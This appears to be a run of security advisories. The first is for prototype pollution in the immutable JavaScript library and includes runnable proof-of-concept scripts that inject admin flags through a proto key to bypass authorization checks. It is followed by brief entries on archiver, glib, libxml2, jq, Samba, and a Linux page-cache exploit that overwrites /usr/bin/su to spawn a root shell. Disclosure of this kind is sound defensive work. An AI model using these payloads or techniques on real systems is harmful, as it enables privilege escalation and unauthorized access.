Impact What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no proto guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |
Patches Has the problem been patched? What versions should users upgrade to?
| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |
Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input - Node.js flag --disable-proto - Lock down built-in objects - Avoid lookups on the prototype - Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","proto":{"role":"admin","admin":true}}', );
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via proto!
// Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"proto":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with proto key const m = Map({ user: "alice" }).set("proto", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with proto key const m2 = Map({ user: "alice" }).set("proto", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true
// 6. Nested path const nested = JSON.parse('{"profile":{"proto":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against immutable@5.1.4:
mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted
References Are there any links users can visit to find out more?
- JavaScript prototype pollution
A flaw was discovered in the mholt/archiver package. This flaw allows an attacker to create a specially crafted tar file, which, when unpacked, may allow access to restricted files or directories. This issue can allow the creation or overwriting of files with the user's or application's privileges using the library.
crypto: algifaead - Revert to operating out-of-place
Fragnesia is a universal Linux local privilege escalation exploit, discovered by William Bowling with the V12 team. Fragnesia is a member of the Dirty Frag vulnerability class. This is a separate bug in the ESP/XFRM from dirtyfrag which has received its own patch. However, it is in the same surface and the mitigation is the same as for dirtyfrag.
It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to achieve arbitrary byte writes into the kernel page cache of read-only files, without requiring any race condition.
The technique extends the page-cache write bug class that includes Dirty Pipe: when a TCP socket transitions to espintcp ULP mode after data has already been spliced from a file into the receive queue, the kernel processes the queued file pages as ESP ciphertext. The AES-GCM keystream byte at counter block position 2, byte 0 is XORed directly into the cached file page. By selecting the IV nonce to produce a desired keystream byte, any target byte in the file can be set to any value — one byte per trigger invocation.
The exploit builds a 256-entry lookup table mapping each possible keystream byte to its corresponding nonce, then iterates over a payload, firing the splice/ULP race for each byte that needs changing. It writes a small position-independent ELF stub (setresuid/setresgid/execve /bin/sh) over the first 192 bytes of /usr/bin/su in the page cache, then calls execve("/usr/bin/su") to obtain a root shell. The page cache modification is not backed to disk; the on-disk binary is untouched.
A heap-based buffer overflow problem was found in glib through an incorrect calculation of buffer size in the gescapeuristring() function. If the string to escape contains a very large number of unacceptable characters (which would need escaping), the calculation of the length of the escaped string could overflow, leading to a potential write off the end of the newly allocated string.
A flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.
jq is a command-line JSON processor. In commits before 2f09060afab23fe9390cce7cb860b10416e1bf5f, the jvparsesized() API in libjq accepts a counted buffer with an explicit length parameter, but its error-handling path formats the input buffer using %s in jvstringfmt(), which reads until a NUL terminator is found rather than respecting the caller-supplied length. This means that when malformed JSON is passed in a non-NUL-terminated buffer, the error construction logic performs an out-of-bounds read past the end of the buffer. The vulnerability is reachable by any libjq consumer calling jvparsesized() with untrusted input, and depending on memory layout, can result in memory disclosure or process termination. The issue has been patched in commit 2f09060afab23fe9390cce7cb860b10416e1bf5f.
A flaw was found in Samba’s vfsworm module. The module is intended to provide write-once, read-many (WORM) protections by preventing modification of files after a configurable grace period. Due to insufficient validation during rename operations, an authenticated user with write access to a share could overwrite a protected file by renaming a newly created file over the existing WORM-protected file.